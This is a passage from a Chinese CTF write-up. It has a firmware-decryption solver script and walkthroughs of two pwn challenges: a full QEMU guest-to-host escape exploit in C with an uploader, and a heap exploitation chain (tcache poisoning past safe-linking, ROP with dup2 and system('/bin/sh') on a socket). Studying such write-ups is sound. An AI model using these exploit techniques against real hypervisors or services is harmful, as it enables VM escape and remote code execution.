ck=int.from_bytes(bytes(((4*i+j)*7)&255 for j in range(4)),'big')
K.append(K[i]^lp(tau(K[i+1]^K[i+2]^K[i+3]^ck)))
return K[4:]
def enc(block,ks):
X=list(struct.unpack('>4I',block))
for i in range(32):
v=tau(X[i+1]^X[i+2]^X[i+3]^ks[i]);X.append(X[i]^v^rol(v,2)^rol(v,10)^rol(v,18)^rol(v,24))
return struct.pack('>4I',*X[-4:][::-1])

def key_from_tables(a):
blob=a[0xb3240:0xd3268]
assert sm3(blob)[:16] == a[0xb31e0:0xb31f0]
perm=list(blob[8:40]); tables=struct.unpack('>32768I',blob[40:])
stored=[]
for r in range(32):
word=0
for j in range(4):
values=[(v>>(8*j))&255 for v in tables[(4*r+j)*256:(4*r+j+1)*256]]
hits=[v for v in range(256) if all(values[x]==S[x^v] for x in range(256))]
assert len(hits)==1
word |= hits[0] << (8*j)
stored.append(int.from_bytes(word.to_bytes(4,'little'),'big'))
# Physical slot perm[i] contains logical round i.
rounds=[stored[perm[i]] for i in range(32)]
key=recover(rounds)
assert expand(key)==rounds
return key

def riscv_key(b):
u=Uc(UC_ARCH_RISCV,UC_MODE_RISCV32)
u.mem_map(0x10000,0x10000); u.mem_write(0x10000,b)
u.mem_map(0x100000,0x10000)
u.reg_write(UC_RISCV_REG_SP,0x10f000)
u.reg_write(UC_RISCV_REG_A0,0x10e000)
u.reg_write(UC_RISCV_REG_RA,0x1090e)
u.emu_start(0x10818,0x1090e)
return bytes(u.mem_read(0x10e000,16))

def patch_for_seeds(a):
a=bytearray(a)
a[0x1fb3:0x1fb9]=b'\x90'*6
# Hook stream-generator entry; write its seed to stderr and restore registers.
hook=bytes.fromhex('50575652514153 4889f2 4889fe bf02000000 b801000000 0f05 415b595a5e5f58 f30f1efa4157')
hook+=b'\xe9'+struct.pack('<i',0x403436-(0x401810+len(hook)+5))
a[0x1810:0x1810+len(hook)]=hook
a[0x3430:0x3436]=b'\xe9'+struct.pack('<i',0x401810-0x403435)+b'\x90'
a[0xea6c0:0xea6e0]=sm3(a[0x11c0:0x11c0+0xaa6fd])
return a

def run_fw(folder, binary, keymat, vmout, distro, dump=False):
args=[f'./{binary}','ota_package.bin',keymat.hex(),vmout.hex()]
if os.name=='nt':
# All generated work stays in our temporary directory.
path=folder.as_posix(); path='/mnt/'+path[0].lower()+path[2:]
cmd='cd '+shlex.quote(path)+' && chmod +x '+shlex.quote(binary)+' && '+shlex.join(args)
if dump: cmd+=' 2> seeds.bin'
subprocess.run(['wsl','-d',distro,'--','bash','-lc',cmd],check=True)
else:
(folder/binary).chmod(0o700)
if dump:
with (folder/'seeds.bin').open('wb') as err:
subprocess.run(args,cwd=folder,stderr=err,check=True)
else: subprocess.run(args,cwd=folder,check=True)

def main():
ap=argparse.ArgumentParser(description=__doc__)
ap.add_argument('archive',type=Path)
ap.add_argument('--wsl-distro',default='kali-linux')
opts=ap.parse_args()
with tempfile.TemporaryDirectory(prefix='qwb_wp_') as tmp:
folder=Path(tmp)
with tarfile.open(opts.archive,'r:gz') as tar:
# Read only the three expected members; execute only the analyzed x86 program.
for name in ['fw_a','fw_b.bin','ota_package.bin']:
(folder/name).write_bytes(tar.extractfile(name).read())
a=(folder/'fw_a').read_bytes(); b=(folder/'fw_b.bin').read_bytes()
p=(folder/'ota_package.bin').read_bytes()
keymat=riscv_key(b)
assert sm3(keymat)[:16]==a[0xb3200:0xb3210]
key=key_from_tables(a)
print('keymat =',keymat.hex(),flush=True)
print('SM4 key =',key.hex(),flush=True)
(folder/'fw_debug').write_bytes(patch_for_seeds(a))
run_fw(folder,'fw_debug',keymat,bytes(8),opts.wsl_distro,True)
seeds=(folder/'seeds.bin').read_bytes()
count=struct.unpack_from('<H',p,24)[0]
assert len(seeds)==16*count
import zlib
stack=[]; plain_all=bytearray()
def rol8(x,n): return ((x<<n)|(x>>(8-n)))&255
for seg in range(count):
off,n,crc=struct.unpack_from('<III',p,60+12*seg)
seed=seeds[16*seg:16*seg+16]
ks=b''.join(sm3(seed+i.to_bytes(4,'big')) for i in range((n+31)//32))
plain=bytes(x^y for x,y in zip(p[off:off+n],ks))
assert zlib.crc32(plain)==crc
plain_all.extend(plain)
print('segment',seg,'seed',seed.hex(),'plain',plain.hex(),flush=True)
i=0
while i<len(plain):
op=plain[i]; i+=1
typ=op&127; idx=(op>>7)*4+typ-1; arg=0
if typ==1: arg=plain[i]; i+=1
if idx==0: stack.append(arg)
elif idx==1: stack.append(stack.pop()^stack.pop())
elif idx in [2,6]: stack.pop()
elif idx in [3,7]: break
elif idx==4: stack.append(rol8(arg^0x5a,4))
elif idx==5:
x=stack.pop()^stack.pop()
stack.append((x&~255)|rol8(x&255,3))
else: raise ValueError('Unknown opcode')
assert sm3(plain_all)==p[28:60]
vmout=bytes(stack)
assert len(vmout)==8
secret=bytes(x^0x5a for x in a[0xb3210:0xb3227])
root=sm3(keymat+sm3(secret)[:16]+vmout)[:16]
counter=sm3(b'twin-ctr'+root)[:16]
assert sm3(counter)[:16]==a[0xb31f0:0xb3200]
print('vm_out8 =',vmout.hex(),flush=True)
print('root =',root.hex(),flush=True)
print('counter =',counter.hex(),flush=True)
run_fw(folder,'fw_a',keymat,vmout,opts.wsl_distro)
trailer=max(struct.unpack_from('<II',p,60+12*i)[0]+struct.unpack_from('<II',p,60+12*i)[1] for i in range(count))
assert p[trailer:trailer+8]==b'QWBPFLAG'
n=struct.unpack_from('<I',p,trailer+8)[0]
ct=p[trailer+12:trailer+12+n]
rounds=expand(key); initial=int.from_bytes(counter,'big')
stream=b''.join(enc((initial+i).to_bytes(16,'big'),rounds) for i in range((n+15)//16))
flag=bytes(x^y for x,y in zip(ct,stream))
assert bytes(x^y for x,y in zip(flag,stream))==ct
print('FLAG =',flag.decode())

if __name__=='__main__': main()

Pwn

没有 pwn 大手子/(ㄒoㄒ)/~~, pwn 题目看不懂,只能让 ai 自己去试试 damn。

看不懂一点 ai 在说什么,misc 好歹还能看懂 干了什么,方向怎么样,pwn真是两眼一抹黑。

1. ez_qemu

附件给出的是一个完整的 QEMU 运行环境,而不是常规用户态 pwn:

项 内容
宿主程序 qemu-system-x86_64(7.0.0 定制,PIE + stripped)
Guest Linux 5.11,启动后直接拿到 root shell
宿主机 Flag /tmp/flag_f,必须逃出虚拟机才能读
自定义 PCI 设备 ctf-nic、ctf-watchdog、ctf-audio、ctf-logger、ctf-msg

也就是说:Guest 里已经是 root 了,flag 在宿主上。唯一出路是从 Guest 打穿 QEMU 进程,拿到宿主的代码执行。

五个设备都被挂在 0000:00:03.0 ~ 0000:00:07.0,Guest 里通过 /sys/bus/pci/devices/0000:00:0X.0/resource0 mmap 就能直接读写 MMIO。

二进制 stripped,但自定义设备的字符串标识都还在,用字符串交叉引用可以很快把五个设备的 MMIO 分发函数定位出来(代码集中在 0x410000 ~ 0x414000 这一段)。

设备 BAR 偏移 功能
ctf-nic — 0x10/0x14 写 RX 描述符物理地址(低/高 32 位)
0x1c 触发 RX(写 1),读回状态
ctf-watchdog 0xfebd6000 0x10 reset:释放旧 timer 对象并重新分配
ctf-audio 0xfebd7000 0x00 分配 buffer(0x58 对象)
0x08/0x0c 写源物理地址
0x10 写长度
0x14 执行拷贝(从 Guest 拷到宿主堆)
ctf-logger — 0x00/0x04 目标物理地址
0x08 offset(无上界校验)
0x0c 长度
0x10 触发
0x18 实际传输字节数
ctf-msg — 0x00 分配 0x40 对象(g_malloc)
0x04 释放对象(不置空指针)
0x08 调用对象里的函数指针
0x0c 读状态

ctf-msg 的对象结构:

1
2
3
4
struct msg_obj {
void (*func)(char *); // +0x00
char *message; // +0x08
};

伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
void release(void) {
if (state == 1) {
g_free(obj);
state = 2;
// obj 没有置 NULL
}
}

void trigger(void) {
if (obj)
obj->func(obj->message); // 悬空指针间接调用
}

标准的 free-without-null UAF,而且带一个间接函数调用点。g_malloc(0x40) 之后要控制 +0x00,需要有别的设备帮我们往这块内存写数据。

logger 的 DMA 处理是这样的:

1
2
3
4
5
void logger_dma(uint64_t dst_phys, uint32_t off, uint32_t len) {
char stackbuf[0x1000];
memcpy(stackbuf + off, ...); // off 完全没有上界检查
// 方向:host -> guest
}
  1. off 没有上界校验;
  2. DMA 方向是 host → guest

取 off = 0x1008,落在 rbp - 0x1010 + 0x1008 = rbp - 8,也就是从保存的返回地址开始往 Guest 读。读 0x80 字节:

1
2
3
leakbuf + 0x00 = rbp - 0x08   (saved rbp)
leakbuf + 0x08 = [rbp] (saved rip)
leakbuf + 0x10 = 返回地址 → 0x4132c7 (PIE 内固定偏移)

其实 +0x08 就是 saved rip,+0x10 是 logger 函数返回后的下一条指令地址。两个都能用,代码里取的是 +0x10。

由 saved_ret - 0x4132c7 得到 QEMU PIE 基址,于是:

1
system@plt = qemu_base + 0x2e2c90

这里直接用了 QEMU 自己 PLT 里的 system

ctf-nic 的 RX 逻辑大致是:

1
2
3
4
5
6
7
8
9
10
void nic_rx(void) {
Obj *o = global_ctx->obj; // 进入函数时缓存到栈局部变量
dma_read(desc, &rx_desc, sizeof(rx_desc));

dma_write(rx_desc.d1, rx_desc.l1); // 第一次 DMA 写
dma_write(rx_desc.d2, rx_desc.l2); // 第二次 DMA 写
dma_write(rx_desc.status, len); // 第三次 DMA 写

o->func(o->message); // 仍然用最初缓存的指针
}

global_ctx->obj 指向的就是 watchdog 的对象。RX 内部连续做三次 DMA 写,而 DMA 的目标地址可以随便填,于是可以在这三次写里把其他设备的 MMIO 挨个点一遍

把三个漏洞串起来:

1
2
3
4
5
6
7
8
9
[NIC RX 开始]  缓存 watchdog 对象指针 o
│
├─ DMA#1 → watchdog 0x10 → reset,释放 o(此时 o 已成悬空)
│
├─ DMA#2 → audio 0x00 → 分配 0x58 对象,正好复用刚释放的块
│
├─ DMA#3 → audio 0x14 → 从 Guest 拷 0x50 字节,覆写 o+0x48 的函数指针
│
└─ o->func(o->message) → call system(cmd)

RX 描述符结构(packed):

1
2
3
4
5
struct Rx {
uint64_t d1; uint32_t l1, pad1; // 第一次 DMA:目标 + 长度
uint64_t d2; uint32_t l2, pad2; // 第二次 DMA
uint64_t status; // 第三次 DMA(长度用之前写在 audio+0x10 的值)
};

填充:

1
2
3
desc->d1 = WD_BAR + 0x10;   desc->l1 = 4;         // reset watchdog
desc->d2 = AUDIO_BAR; desc->l2 = 4; // 申请 0x58 块
desc->status = AUDIO_BAR + 0x14; // 触发 audio 拷贝(0x50 字节)

audio + 0x14 会拷贝 audio+0x10 里预设的长度,所以提前写 wr(audio, 0x10, 0x50),并把 payload 的物理地址写进 audio+0x08/0x0c。

payload 布局要对应 watchdog 对象:

1
2
3
memset(payload, 0, 0x50);
memcpy(payload + 8, cmd, strlen(cmd) + 1); // +0x08 = message 指针内容
*(uint64_t *)(payload + 0x48) = system_plt; // +0x48 = func 指针

因为 o->func(o->message) 相当于 system(o->message),所以 +0x08 放命令字符串,+0x48 放 system@plt。

watchdog 的对象用 calloc 分配,audio 的对象是普通 malloc(0x58)。glibc 2.35 里:

  • calloc 不会从 tcache 取块;
  • 但 malloc 会。

如果 watchdog reset 释放的块进了 tcache,那么 audio 的 malloc 会先吃掉 tcache 里的其他块,calloc 又不去碰 tcache,两边就对不上,DMA#3 覆写的就不是我们想覆写的那块。

解决办法是先把 0x60 这个 size class 的 tcache 填满(默认 7 个),让后续 free 溢出到 fastbin,calloc 才会从 fastbin 里取到同一块:

1
2
for (int i = 0; i < 12; i++)
wr(wd, 0x10, 1); // 反复 reset,制造 free

Guest 侧 exp 关键代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#define LOGGER_RET_OFF 0x4132c7ULL
#define SYSTEM_PLT_OFF 0x2e2c90ULL
#define WD_BAR 0xfebd6000ULL
#define AUDIO_BAR 0xfebd7000ULL

// 1) 泄露 PIE
wr(log, 0x00, (uint32_t)leak_phys);
wr(log, 0x04, leak_phys >> 32);
wr(log, 0x08, 0x1008); // off = 0x1008 → rbp-8
wr(log, 0x0c, 0x80);
wr(log, 0x10, 1);

uint64_t saved_ret = *(uint64_t *)(leakbuf + 0x10);
uint64_t qemu_base = saved_ret - LOGGER_RET_OFF;
uint64_t system_plt = qemu_base + SYSTEM_PLT_OFF;

// 2) 堆 grooming
for (int i = 0; i < 12; i++) wr(wd, 0x10, 1);

// 3) 构造 payload
memcpy(payload + 8, "cat /tmp/flag_f", 16);
*(uint64_t *)(payload + 0x48) = system_plt;

// 4) 触发跨设备 UAF
wr(audio, 0x08, (uint32_t)payload_phys);
wr(audio, 0x0c, payload_phys >> 32);
wr(audio, 0x10, 0x50);

desc->d1 = WD_BAR + 0x10; desc->l1 = 4;
desc->d2 = AUDIO_BAR; desc->l2 = 4;
desc->status = AUDIO_BAR + 0x14;

wr(nic, 0x10, (uint32_t)desc_phys);
wr(nic, 0x14, desc_phys >> 32);
wr(nic, 0x1c, 1); // go

物理地址通过 /proc/self/pagemap 拿 PFN:

1
2
3
4
uint64_t phy(void *v) {
pread(fd, &e, 8, ((uintptr_t)v >> 12) * 8);
return ((e & ((1ull << 55) - 1)) << 12) | ((uintptr_t)v & 4095);
}

三个缓冲区(leakbuf / desc / payload)故意放在不同的 Guest 物理页,避免 DMA 跨页出错。

另外需要打开设备的 bus master:

1
for (int i = 3; i <= 7; i++) pci_master(i);   // config 空间 cmd |= 6

Guest 里是 root shell 但没有编译器,所以要本地静态编译好再传上去。传输走串口控制台,用 uudecode + gzip:

1
2
3
4
frame = 'begin-base64 644 ex.gz\n' + wrapped + '\n====\n'
s.sendall(b"uudecode -o /tmp/ex.gz <<'__EZQ_END__'\n")
# ... 分块发送 ...
s.sendall(b'gunzip -c /tmp/ex.gz > /tmp/ex && chmod +x /tmp/ex\n')

最终结果

1
2
3
4
5
6
7
[+] QEMU leaked return: 0x56506d2132c7
[+] QEMU PIE base: 0x56506ce00000
[+] QEMU system@plt: 0x56506d0e2c90
[+] Grooming Watchdog heap (12 resets)
[+] Triggering UAF, command: cat /tmp/flag_f
flag{ac314ae9-27b3-45ee-a637-123f8a4e2f77}
[+] NIC RX finished, status=0

status=0 说明 RX 正常返回

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python3
"""Upload the guest exploit, run it, and keep reading so the host-side cat output is captured."""
import argparse, base64, gzip, hashlib, re, select, socket, sys, time
from pathlib import Path

MARK = '__EZQ_END__'

def read_until(sock, needle, timeout, echo=True):
buf = bytearray(); end = time.monotonic() + timeout
while time.monotonic() < end:
r, _, _ = select.select([sock], [], [], min(0.5, max(0, end - time.monotonic())))
if not r: continue
try: chunk = sock.recv(8192)
except OSError: return bytes(buf)
if not chunk: return bytes(buf)
buf.extend(chunk)
if echo: sys.stdout.buffer.write(chunk); sys.stdout.buffer.flush()
if needle in buf: return bytes(buf)
return bytes(buf)

def main():
ap = argparse.ArgumentParser()
ap.add_argument('host'); ap.add_argument('port', type=int)
ap.add_argument('--binary', default=str(Path(__file__).with_name('ez_qemu_escape_guest')))
ap.add_argument('--pace', type=float, default=0.05)
ap.add_argument('--cmd', default='cat /tmp/flag_f')
ap.add_argument('--hold', type=float, default=25.0)
a = ap.parse_args()
raw = Path(a.binary).read_bytes()
digest = hashlib.sha256(raw).hexdigest()
enc = base64.b64encode(gzip.compress(raw, 9, mtime=0)).decode()
wrapped = '\n'.join(enc[i:i+76] for i in range(0, len(enc), 76))
frame = ('begin-base64 644 ex.gz\n' + wrapped + '\n====\n' + MARK + '\n').encode()
print(f'[i] ELF {len(raw):,}B frame {len(frame):,}B sha256 {digest}', flush=True)
s = socket.create_connection((a.host, a.port), timeout=25); s.settimeout(None)
print('[i] connected, waiting for guest shell', flush=True)
read_until(s, b'/ #', 60)
s.sendall(b'mkdir -p /tmp; stty -echo 2>/dev/null; echo __RDY__\n'); read_until(s, b'__RDY__\r\n', 15)
s.sendall(b"uudecode -o /tmp/ex.gz <<'" + MARK.encode() + b"'\n")
for i in range(0, len(frame), 512):
s.sendall(frame[i:i+512])
if a.pace: time.sleep(a.pace)
s.sendall(b'echo __TD__\n'); read_until(s, b'__TD__\r\n', 120, echo=False)
s.sendall(b'gunzip -c /tmp/ex.gz > /tmp/ex && chmod +x /tmp/ex; echo __H__; sha256sum /tmp/ex; echo __HE__\n')
res = read_until(s, b'__HE__\r\n', 40)
m = re.search(rb'([0-9a-f]{64})\s+/tmp/ex', res)
if not m or m.group(1).decode() != digest:
print('[!] upload hash mismatch', flush=True); return 1
print('[+] upload ok', flush=True)
s.sendall(b"stty echo\n/tmp/ex '" + a.cmd.encode() + b"'\n")
# keep reading; the host-side `cat` writes the flag into this socket
end = time.monotonic() + a.hold
got = bytearray()
while time.monotonic() < end:
r, _, _ = select.select([s], [], [], 0.5)
if not r: continue
try: c = s.recv(8192)
except OSError: break
if not c: break
got.extend(c); sys.stdout.buffer.write(c); sys.stdout.buffer.flush()
try: s.sendall(b'poweroff -f\n')
except OSError: pass
time.sleep(1)
s.close()
txt = bytes(got)
fl = re.search(rb'flag\{[^}]*\}', txt)
print('\n================ RESULT ================')
if fl:
print('[FLAG]', fl.group().decode())
else:
print('[!] no flag pattern in captured output')
return 0

if __name__ == '__main__':
sys.exit(main())

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#define _GNU_SOURCE
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <inttypes.h>

// Offsets from the challenge-supplied qemu-system-x86_64 ELF.
#define LOGGER_RET_OFF 0x4132c7ULL
#define SYSTEM_PLT_OFF 0x2e2c90ULL
#define WD_BAR 0xfebd6000ULL
#define AUDIO_BAR 0xfebd7000ULL

static volatile uint8_t *io(int dev){
char path[128];snprintf(path,sizeof(path),"/sys/bus/pci/devices/0000:00:%02x.0/resource0",dev);
int fd=open(path,O_RDWR|O_SYNC);if(fd<0){perror(path);exit(1);}
void *p=mmap(NULL,0x1000,PROT_READ|PROT_WRITE,MAP_SHARED,fd,0);
if(p==MAP_FAILED){perror("mmap resource0");exit(1);}close(fd);return p;
}
static void wr(volatile uint8_t*p,int off,uint32_t x){*(volatile uint32_t*)(p+off)=x;__sync_synchronize();}
static uint32_t rd(volatile uint8_t*p,int off){return *(volatile uint32_t*)(p+off);}
static uint64_t phy(void *v){
volatile char tmp=*(volatile char*)v;(void)tmp;
int fd=open("/proc/self/pagemap",O_RDONLY);if(fd<0){perror("pagemap");exit(1);}
uint64_t e=0; if(pread(fd,&e,8,((uintptr_t)v>>12)*8)!=8){perror("pread pagemap");exit(1);}close(fd);
if(!(e&(1ull<<63)) || !(e&((1ull<<55)-1))){fprintf(stderr,"Guest PFN unavailable entry=%016" PRIx64 "\n",e);exit(1);}
return ((e&((1ull<<55)-1))<<12)|((uintptr_t)v&4095);
}
static void pci_master(int dev){
char path[128];snprintf(path,sizeof(path),"/sys/bus/pci/devices/0000:00:%02x.0/config",dev);
int fd=open(path,O_RDWR);if(fd<0){perror(path);exit(1);}
uint16_t cmd=0;if(pread(fd,&cmd,2,4)!=2){perror("config read");exit(1);}
cmd|=6;if(pwrite(fd,&cmd,2,4)!=2){perror("config write");exit(1);}close(fd);
}
struct __attribute__((packed)) Rx {uint64_t d1;uint32_t l1,pad1;uint64_t d2;uint32_t l2,pad2;uint64_t status;};
int main(int argc,char **argv){
setbuf(stdout,NULL);setbuf(stderr,NULL);
for(int i=3;i<=7;i++)pci_master(i);
volatile uint8_t *nic=io(3), *wd=io(4), *audio=io(5), *log=io(6);
// Keep WD MMIO mapped for tcache/fastbin grooming.
uint8_t *mem=mmap(NULL,0x4000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS|MAP_POPULATE,-1,0);
if(mem==MAP_FAILED){perror("guest mmap");return 1;}
// Buffer addresses deliberately kept within individual guest-physical pages.
uint8_t *leakbuf=mem+0x1000;
struct Rx *desc=(struct Rx*)(mem+0x2100);
char *payload=(char*)(mem+0x3100);
uint64_t leak_phys=phy(leakbuf),desc_phys=phy(desc),payload_phys=phy(payload);
memset(leakbuf,0xcc,0x100);
wr(log,0x00,(uint32_t)leak_phys);wr(log,0x04,leak_phys>>32);
wr(log,0x08,0x1008);wr(log,0x0c,0x80);
wr(log,0x10,1);
if(rd(log,0x18)!=0x80){fprintf(stderr,"Logger DMA failed: transferred=%u\n",rd(log,0x18));return 1;}
// Stack buffer begins at rbp-0x1010. offset=0x1008 starts at rbp-8.
// At +0x10 we have the return address to 0x4132c7 inside QEMU PIE.
uint64_t saved_ret=*(uint64_t*)(leakbuf+0x10);
uint64_t qemu_base=saved_ret-LOGGER_RET_OFF;
// PIE base can land anywhere in the low 47-bit mmap area under ASLR
// (observed 0x617a... and 0x55...), so only sanity-check alignment/range.
if((qemu_base&0xfff) || saved_ret<LOGGER_RET_OFF || qemu_base<0x400000000000ULL || qemu_base>=0x7f0000000000ULL){
fprintf(stderr,"[!] unexpected QEMU return=%#" PRIx64 ", computed base=%#" PRIx64 "\n",saved_ret,qemu_base);
for(int i=0;i<0x80;i+=8) fprintf(stderr,"stack +%02x: %016" PRIx64 "\n",i,*(uint64_t*)(leakbuf+i));
return 1;
}
uint64_t systemplt=qemu_base+SYSTEM_PLT_OFF;
printf("[+] QEMU leaked return: %#" PRIx64 "\n",saved_ret);
printf("[+] QEMU PIE base: %#" PRIx64 "\n",qemu_base);
printf("[+] QEMU system@plt: %#" PRIx64 "\n",systemplt);
// glibc 2.35 calloc does not consume tcache; fill the 0x60 size-class bin first.
// In newer glibc, repeated WD resets are still safe.
printf("[+] Grooming Watchdog heap (12 resets)\n");
for (int i=0;i<12;i++) wr(wd,0x10,1);
memset(payload,0,0x50);
const char*cmd="cat /tmp/flag_f"; if(argc>=2)cmd=argv[1];
if(strlen(cmd)>=0x38){fprintf(stderr,"command too long (max 55 chars)\n");return 1;}
memcpy(payload+8,cmd,strlen(cmd)+1);
*(uint64_t*)(payload+0x48)=systemplt;
// QEMU NIC caches the old Watchdog object, DMA frees Watchdog,
// allocates Audio over the same 0x58 chunk, overwrites +0x48 and calls it.
wr(audio,0x08,(uint32_t)payload_phys);wr(audio,0x0c,payload_phys>>32);wr(audio,0x10,0x50);
memset(desc,0,sizeof(*desc));
desc->d1=WD_BAR+0x10;desc->l1=4;
desc->d2=AUDIO_BAR;desc->l2=4;
desc->status=AUDIO_BAR+0x14;
wr(nic,0x10,(uint32_t)desc_phys);wr(nic,0x14,desc_phys>>32);
printf("[+] Triggering UAF, command: %s\n",cmd);
wr(nic,0x1c,1);
printf("[+] NIC RX finished, status=%u\n",rd(nic,0x1c));
return 0;
}

2. bad_puppet

背景是「剑士 Hero 拿到至尊魔戒之后海拉鲁变得不太一样」,实际是个文字 MUD:

1
你可以探索地图、购买物品、管理背包,并挑战敌人

程序不是 stdin/stdout 服务,而是自己 listen(0.0.0.0:31337),每个连接就是一个玩家会话,收发都是纯文本命令 + 文本回显。

附件里带了 libs/(glibc 2.39)和 ld-linux-x86-64.so.2,二进制里有 RUNPATH=./libs/,所以直接 ./bad_puppet 就能跑起来。

保护:PIE、NX、Full RELRO。(ROP 是直接写返回地址槽,不碰 canary。)

关键命令:

命令 作用
shop list / shop buy <idx> <num> 商店,按数量购买
map teleport castle 传送到城堡(战斗场地)
battle 进入战斗
use item / <slot> / <num> 使用道具(含数量)
mw pickup <idx> 捡起地面掉落物
mw whisper <idx> <hex> 给自己的「魔戒」写描述(任意字节写入)
mw show 打印背包 / 地面掉落,含 description_addr= 等调试字段
mw throw <idx> 丢弃(触发 free)
inv equip <idx> / inv drop <idx> / inv throw <idx> 背包操作

mw show 会输出:

1
2
3
4
description_addr=0x...
description_head=0x...
description_key=0x...
Drops: [0] #12 [1] #12 ...

description_addr 就是 description 堆块的用户指针,也就是堆地址泄露

漏洞一

1
shop buy 3 2147483648

2147483648 = 0x80000000,购买数量/单价参与计算时是有符号 32 位,乘积溢出成负数,于是「买 21 亿个」反而给钱/给物品。这是拿启动资金和基础道具的入口。

配合:

1
2
3
4
5
map teleport castle
battle
use item → 1 → 2147483648
mw pickup 0
inv equip 1

就能把「魔戒」(Ring)拿到手并装备。Ring 的 description 是一个 0xe8 大小的堆块(chunk size 0xf0),由 mw whisper 写入、mw show 泄漏地址。

漏洞二

inv drop / mw throw 释放 Ring 之后,地面掉落列表里仍然留着指向它的指针。反复做:

1
2
3
4
5
6
7
inv drop 1
mw pickup 0
inv equip 1
inv drop 1
mw pickup 0
inv equip 1
mw throw 0

就能得到两个悬空的 Ring,mw show 会打印两个不同的 description_addr:

1
[+] Dangling Rings: A=0x55df3ba7f830, B=0x55df3ba7fff0

其中 A 之后会被我们当成「伪造堆块的工作区」,B 用来做第二次分配。

任意地址读:world drops 向量重叠

地面掉落列表是个 std::vector<Item*>,容量 8 个指针。我们把 Ring 的 description 内容(351 字节,正好覆盖这个向量)改写成 5 个任意地址:

1
2
3
4
5
b = bytearray(351)
b[:8] = b'README!!'
for i in range(5):
b[0x90 + 8*i : 0x98 + 8*i] = p64(targets[i])
send('mw whisper 0 ' + b.hex())

再 mw show,它会逐条打印 Drops: [i] #<item_id>——这个 # 后面的数字就是从 targets[i] 读到的 4 字节。

于是得到原语:

1
read64(addr)   # 一次 5 个地址,批量读更快

read_many() 就是这么实现的:一次 whisper 塞 5 个地址,一次 show 拿 5 个值。

一个很自然的想法是从 A 往上对齐到 64KB 当 malloc_state,再顺着 arena->next(+0x8a0)跳回 main_arena:

1
2
3
arena = A & ~0xffff
nxt = read64(arena + 0x8a0)
libc = nxt - 0x204ac0

这个方案只在 mmap 出来的线程 arena 成立。 远程跑出来是:

1
2
[+] Dangling Rings: A=0x55df3ba7f830, B=0x55df3ba7fff0
[+] arena[0] 0x55df3ba70000 -> 0x0 ← 链直接断了

0x55df... 说明 Ring 在 brk 主堆([heap] 紧贴 PIE,libc 在 0x7f..),主 arena 根本不在这个地址段,+0x8a0 读出来是 0。

扫这块堆的时候发现 A + 0x190 处永远有一个 PIE 代码指针,多次运行低 12 位恒为 0x6d8:

1
v = read64(A + 0x190)          # e.g. 0x55df3ba8a6d8

从它开始按页往下走找 ELF magic:

1
2
3
4
for k in range(0x30):
cand = v - 0x6d8 - k*0x1000
if read64(cand) & 0xffffffff == 0x464c457f: # "\x7fELF"
pie = cand; break

候选地址始终落在 PIE 的映射内,不会读崩;最多 48 次读就能命中。

拿到 PIE 之后,libc 从 GOT 里取——__libc_start_main 在 main 之前必然已经解析:

1
libc = read64(pie + 0x19fd0) - 0x2a200

这个方案的优点:与 arena 类型完全无关,主堆、线程堆都能用。

1
environ = read64(libc + 0x20bd58)     # libc 的 environ 符号

command_loop 的返回地址槽稳定在 environ - 0x270,槽里的值是 pie + 0x5118。先扫窄窗口 0x220~0x2c0,找不到再放宽到 0x80~0x900:

1
2
3
4
5
6
want = pie + 0x5118
for lo, hi in ((0x220, 0x2c0), (0x80, 0x900)):
addrs = [environ - 8*i for i in range(lo//8, hi//8)]
for a, v in zip(addrs, read_words(addrs)):
if v == want:
saved_rip = a

同时从 pie + 0x1a040 读全局的 client_fd(就是当前玩家的 socket fd,3 ≤ fd < 1024 做一下合法性检查)。

在 Ring A 的 description 里放两个假的 chunk header:

1
2
A + 0x18 : 0x00000000000000f1     ← chunk1 size
A + 0x58 : 0x00000000000000f1 ← chunk2 size

对应的「用户数据」起点:

1
2
3
4
g1 = A + 0x20      # chunk1 user
g2 = A + 0x60 # chunk2 user
r1 = g1 + 0x90 # 伪造 Weapon 对象 1
r2 = g2 + 0x90 # 伪造 Weapon 对象 2

再用 world drops 向量把 r1、r2 塞进掉落列表,mw pickup 收进背包,inv drop 让事务线程把它们 free 掉,注意这里是事务线程的 tcache,和 world 线程的 tcache 是两个不同的链表

glibc 2.39 的 tcache 指针是 safe-linking 过的:

1
fd_stored = next ^ (chunk_addr >> 12)

所以第二次 free 时,把 chunk2 的 fd 写成:

1
2
target = saved_rip - 0x18
b[0x60:0x68] = p64(target ^ (g2 >> 12))

1
2
inv drop 0     ← 释放 Ring,触发 malloc(0xe8) 消费 g2(链表头变成 target)
inv drop 0 ← 下一次 malloc(0xe8) 直接返回 target

第二次分配返回的就是 saved_rip - 0x18,随后程序把伪造 Weapon 的 0xe8 字节内容整块拷贝过去——这就是往栈上写 ROP。

第一次 malloc(0xe8) 会把 WeaponY 的伪造源对象覆盖掉,所以第一次分配之后要重新 whisper 一次 WeaponY,否则第二次拷过去的内容是脏的。

0xe8 字节够放 29 个 qword,实际用了 25 个:

1
2
3
4
rop  = [ret]                                  # 栈对齐(pop_rdi + 1)
for dst in (0, 1, 2):
rop += [pop_rdi, client_fd, pop_rsi, dst, dup2]
rop += [pop_rdi, binsh, ret, system]

偏移(glibc 2.39,附件 libs/libc.so.6):

符号 偏移
pop rdi; ret 0x10c08d
pop rsi; ret 0x110b7d
dup2 0x116c30
system 0x58750
"/bin/sh" 0x1cc42f

为什么要 dup2:这个进程是 socket 服务,system("/bin/sh") 拉起来的 shell 的 0/1/2 并不指向我们的 socket。必须先把 client_fd 复制到 0/1/2 上,shell 的输入输出才会回到我们的连接。

